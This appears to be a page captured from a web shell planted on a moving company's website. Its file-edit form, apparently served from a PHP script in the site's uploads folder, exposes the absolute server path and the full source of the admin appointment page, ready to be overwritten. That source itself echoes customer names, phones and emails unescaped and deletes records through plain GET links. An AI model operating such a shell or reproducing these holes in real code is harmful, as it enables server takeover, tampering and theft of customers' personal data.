<h2>Edit File - appointment.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u337112447/domains/kunjanpackersmovers.com/public_html/admin/appointment.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
include 'header_top.php';

if (isset($_GET['id'])) {
    $id = intval($_GET['id']);

    // Create the delete query
    $query = &quot;DELETE FROM appointment WHERE id = $id&quot;;

    // Execute the query
    if (mysqli_query($link, $query)) {
        header(&quot;Location: appointment.php?status=success&quot;);
    } else {
        header(&quot;Location: appointment.php?status=error&quot;);
    }

    exit();
}
?&gt;
&lt;div class=&quot;content&quot;&gt;
    &lt;div class=&quot;page-header&quot;&gt;
        &lt;ol class=&quot;breadcrumb&quot;&gt;
            &lt;li&gt;&lt;a href=&quot;index.php&quot;&gt;Dashboard&lt;/a&gt;&lt;/li&gt;
            &lt;li class=&quot;active&quot;&gt;Enquiry Details&lt;/li&gt;
        &lt;/ol&gt;
    &lt;/div&gt;
    &lt;div class=&quot;container-padding container-widget&quot;&gt;
        &lt;div class=&quot;row&quot;&gt;
            &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;div class=&quot;panel panel-default&quot;&gt;
                    &lt;div class=&quot;panel-title&quot;&gt;
                        Enquiry Details
                    &lt;/div&gt;
                    &lt;div class=&quot;panel-body table-responsive&quot;&gt;
                        &lt;?php
                        if (isset($_GET['status'])) {
                            if ($_GET['status'] == 'success') {
                                echo '&lt;div class=&quot;alert alert-success bg-success text-white&quot; role=&quot;alert&quot;&gt;Delete successfully.&lt;/div&gt;';
                            } elseif ($_GET['status'] == 'error') {
                                echo '&lt;div class=&quot;alert alert-danger&quot; role=&quot;alert&quot;&gt;Error.&lt;/div&gt;';
                            }
                        }
                        ?&gt;
                        &lt;table id=&quot;example0&quot; class=&quot;table display&quot;&gt;
                            &lt;thead&gt;
                                &lt;tr&gt;
                                    &lt;th&gt;Sr No.&lt;/th&gt;
                                    &lt;th&gt;Name&lt;/th&gt;
                                    &lt;th&gt;Phone Number&lt;/th&gt;
                                    &lt;th&gt;Email&lt;/th&gt;
                                    &lt;th&gt;Moving From&lt;/th&gt;
                                    &lt;th&gt;Moving To&lt;/th&gt;
                                    &lt;th&gt;Date&lt;/th&gt;
                                    &lt;th&gt;Action&lt;/th&gt;
                                &lt;/tr&gt;
                            &lt;/thead&gt;
                            &lt;tbody&gt;
                                &lt;?php
                                $result = mysqli_query($link, &quot;SELECT * FROM appointment ORDER BY id DESC&quot;);
                                $i = 0;
                                while ($row = mysqli_fetch_array($result)) {
                                    $i++;
                                    ?&gt;
                                    &lt;tr&gt;
                                        &lt;td&gt;&lt;?php echo $i; ?&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;?php echo $row['name']; ?&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;?php echo $row['phone']; ?&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;?php echo $row['email']; ?&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;?php echo $row['moving_from']; ?&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;?php echo $row['moving_to']; ?&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;?php echo date('d-m-Y', strtotime($row['created_at'])); ?&gt;&lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;a href=&quot;appointment.php?id=&lt;?= $row['id'] ?&gt;&quot; class=&quot;btn btn-danger btn-xs&quot;
                                                onclick=&quot;return confirm('Are you sure you want to delete this record?');&quot;&gt;Delete&lt;/a&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;?php
                                }
                                ?&gt;
                            &lt;/tbody&gt;
                        &lt;/table&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;?php
include 'footer.php';
?&gt;
&lt;script src=&quot;js/jquery.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;js/datatables/datatables.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;
    $(document).ready(function () {
        $('#example0').DataTable();
    });
&lt;/script&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/Admin/uploads/72005193231754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>